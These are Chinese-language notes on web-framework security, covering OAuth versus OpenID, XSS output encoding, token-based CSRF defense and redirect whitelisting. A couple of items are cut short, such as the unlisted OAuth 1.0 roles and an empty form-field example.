OAuth与OpenID都致力于让互联网变得更加开放。OpenID解决的是认证问题,OAuth是更注重授权。认证与授权的关系是一脉相承的,后来人们发现,其实更多时候真正需要的是对资源的授权。
在OAuth1.0中,涉及3个角色,分别是:
实施安全方案,要达到好的效果,必须完成两个目标:
1)安全方案正确、可靠;
2)能够发现所有可能存在的安全问题,不出现遗漏。
在MVC框架中,通过切片、过滤器等方式,往往能对数据进行全局处理,这为设计安全方案提供极大的便利。
最好的XSS防御方案,在不同的场景需要使用不同的编码函数。
在模板引擎中,可以依据“是否有细分场景使用不同的编码方式”来判断XSS的安全方案是否完整。
在Web框架中可以使用security token解决CSRF攻击的问题。
CSRF攻击的目标,一般都会产生“写数据”操作的URL,比如“增”、“删”、“改”;而“读数据”操作并不是CSRF攻击的目标,因为在CSRF攻击的过程中攻击者无法获取到服务器端返回的数据,攻击者只是借用户之手触发服务器动作。
在很多讲述CSRF防御的文章中,都要求使用HTTP POST进行防御。但实际上POST本身不足以对抗CSRF,因为POST也是可以自动提交的。但是POST的使用,对于保护Token有着积极的意义,而security token的私密性(不可预测性原则),是防御CSRF攻击的基础。
完整的CSRF防御方案,对于web框架来说有以下几处地方需要改动。
1)在Session中绑定Token。如果不能保存在服务器端Session中,可以代替为保存到Cookie里。
2)在form表单自动填入Token字段,比如:。
3)在Ajax请求中自动填入Token,这可能需要已有的Ajax封装实现的支持。
4)在服务器端对比POST提交参数的Token与Session中绑定的Token是否一致,以验证CSRF攻击。
在Ajax请求中,一般是插入了一个包含Token的HTTP头,使用HTTP头是为了防止Token泄密,因为一般的JavaScript无法获取到HTTP头的信息,但是在存在一些跨域漏洞时可能会出现例外。
在Spring MVC以及一些流行的web框架中,并没有直接针对CSRF的保护,因此这些功能需要自己实现。
对于框架来说,管理好跳转目的地址是很有必要的。一般来说,可以在两个地方做这件事情:
1)如果web框架提供统一的跳转函数,则可以在跳转函数内部实现一个白名单,指定跳转地址只能在白名单中。
2)另一种解决方式是控制HTTP的location字段,限制location的值只能是哪些地址,也能起到同样的效果,其本质还是白名单。